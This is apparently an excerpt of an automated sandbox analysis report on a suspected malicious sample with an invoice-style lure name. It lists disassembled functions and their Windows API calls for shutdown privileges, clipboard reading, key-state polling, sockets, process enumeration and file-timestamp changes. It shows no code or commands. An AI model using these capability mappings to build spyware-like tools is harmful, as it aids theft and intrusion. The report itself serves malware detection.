                                                                                            • Instruction ID: 16786b45dbc5194aa398acfc0f0ff3b91b98a178c64a073a91da7f4e0cb75f58
                                                                                            • Opcode Fuzzy Hash: 40e9c8eb680feb4042e694522f3113d29542bf103086fe34e1494599e09369de
                                                                                            • Instruction Fuzzy Hash: 54B10DB15083409FD320EF65C881B9FB7E8BBC8744F108E2EF58997291D7759948CB66
                                                                                            Function 004364AA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 79shutdownCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCurrentProcess.KERNEL32(00000028,?), ref: 004364B9
                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 004364C0
                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004364D6
                                                                                            • AdjustTokenPrivileges.ADVAPI32 ref: 004364FE
                                                                                            • GetLastError.KERNEL32 ref: 00436504
                                                                                            • ExitWindowsEx.USER32(?,00000000), ref: 00436527
                                                                                            • InitiateSystemShutdownExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001), ref: 00436557
                                                                                            • SetSystemPowerState.KERNEL32(00000001,00000000), ref: 0043656A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                                                                            • String ID: SeShutdownPrivilege
                                                                                            • API String ID: 2938487562-3733053543
                                                                                            • Opcode ID: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                            • Instruction ID: b625d7910520021a286729d09db348b3c4b0b131b75d5259d4bd29649b467962
                                                                                            • Opcode Fuzzy Hash: 9f228ad1da6a4c81f8cb5394189ecc1147849337ed66d96e43b1ced3868a671c
                                                                                            • Instruction Fuzzy Hash: E021D5B02803017FF7149B64DD4AF6B3398EB48B10F948829FE09852D2D6BDE844973D
                                                                                            Function 0043614F Relevance: 16.6, APIs: 11, Instructions: 103COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __swprintf.LIBCMT ref: 00436162
                                                                                            • __swprintf.LIBCMT ref: 00436176
                                                                                              • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                            • __wcsicoll.LIBCMT ref: 00436185
                                                                                            • FindResourceW.KERNEL32(?,?,0000000E), ref: 004361A6
                                                                                            • LoadResource.KERNEL32(?,00000000), ref: 004361AE
                                                                                            • LockResource.KERNEL32(00000000), ref: 004361B5
                                                                                            • FindResourceW.KERNEL32(?,?,00000003), ref: 004361DA
                                                                                            • LoadResource.KERNEL32(?,00000000), ref: 004361E4
                                                                                            • SizeofResource.KERNEL32(?,00000000), ref: 004361F0
                                                                                            • LockResource.KERNEL32(?), ref: 004361FD
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll__woutput_l
                                                                                            • String ID:
                                                                                            • API String ID: 2406429042-0
                                                                                            • Opcode ID: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                            • Instruction ID: 79d88324f8a28cdfdddc37bd7103cac5134eefaeeaedb246b69d205017f9fa0d
                                                                                            • Opcode Fuzzy Hash: c1b2c305ea449a9eaa2c50be24a6d356ee30b865a6e7eb3c9e4c44cc17d92184
                                                                                            • Instruction Fuzzy Hash: 82313432104210BFD700EF64ED88EAF77A9FB89304F00882BFA4196150E778D940CB68
                                                                                            Function 0045D517 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 91COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 0045D522
                                                                                            • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D593
                                                                                            • GetLastError.KERNEL32 ref: 0045D59D
                                                                                            • SetErrorMode.KERNEL32(?), ref: 0045D629
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Error$Mode$DiskFreeLastSpace
                                                                                            • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                            • API String ID: 4194297153-14809454
                                                                                            • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                            • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                                            • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                            • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                                            Function 0047AD92 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251comCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                              • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                            • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                            • _wcslen.LIBCMT ref: 0047AE18
                                                                                            • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                            • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                                            • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                                            • String ID: HH
                                                                                            • API String ID: 1915432386-2761332787
                                                                                            • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                            • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                            • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                            • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                            Function 0044ED9A Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 448COMMON
                                                                                            Download Yara Rule
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID: DEFINE$`$h$h
                                                                                            • API String ID: 0-4194577831
                                                                                            • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                            • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                                            • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                            • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                                            Function 0046483C Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • socket.WSOCK32(00000002,00000001,00000006), ref: 004648B0
                                                                                            • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                                            • bind.WSOCK32(00000000,?,00000010), ref: 004648DA
                                                                                            • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                                            • closesocket.WSOCK32(00000000), ref: 0046492D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLast$bindclosesocketsocket
                                                                                            • String ID:
                                                                                            • API String ID: 2609815416-0
                                                                                            • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                            • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                                            • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                            • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                                            Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                                            • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                            • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                            • __wsplitpath.LIBCMT ref: 004370A5
                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                            • _wcscat.LIBCMT ref: 004370BA
                                                                                            • __wcsicoll.LIBCMT ref: 004370C8
                                                                                            • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                            • String ID:
                                                                                            • API String ID: 2547909840-0
                                                                                            • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                            • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                            • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                            • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                            Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                            • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                            • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                            • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                            • String ID: *.*
                                                                                            • API String ID: 2693929171-438819550
                                                                                            • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                            • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                                            • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                            • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                                            Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • OpenClipboard.USER32(?), ref: 0046C635
                                                                                            • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                            • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                            • CloseClipboard.USER32 ref: 0046C65D
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                            • CloseClipboard.USER32 ref: 0046C692
                                                                                            • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                            • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                            • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                            • CloseClipboard.USER32 ref: 0046C866
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                            • String ID: HH
                                                                                            • API String ID: 589737431-2761332787
                                                                                            • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                            • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                                            • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                            • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                                            Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • __wcsicoll.LIBCMT ref: 0043643C
                                                                                            • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                            • __wcsicoll.LIBCMT ref: 00436466
                                                                                            • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsicollmouse_event
                                                                                            • String ID: DOWN
                                                                                            • API String ID: 1033544147-711622031
                                                                                            • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                            • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                            • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                            • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                            Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                            • socket.WSOCK32(00000002,00000002,00000011), ref: 00474213
                                                                                            • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLastinet_addrsocket
                                                                                            • String ID:
                                                                                            • API String ID: 4170576061-0
                                                                                            • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                            • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                                            • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                            • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                                            Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                            • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                            • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                            • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                            • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                                            • String ID:
                                                                                            • API String ID: 3539004672-0
                                                                                            • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                            • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                            • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                            • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                            Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                            • IsWindowVisible.USER32 ref: 00477314
                                                                                            • IsWindowEnabled.USER32 ref: 00477324
                                                                                            • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                                            • IsIconic.USER32 ref: 0047733F
                                                                                            • IsZoomed.USER32 ref: 0047734D
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                            • String ID:
                                                                                            • API String ID: 292994002-0
                                                                                            • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                            • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                                            • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                            • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                                            Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,75923220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                            • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                            • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
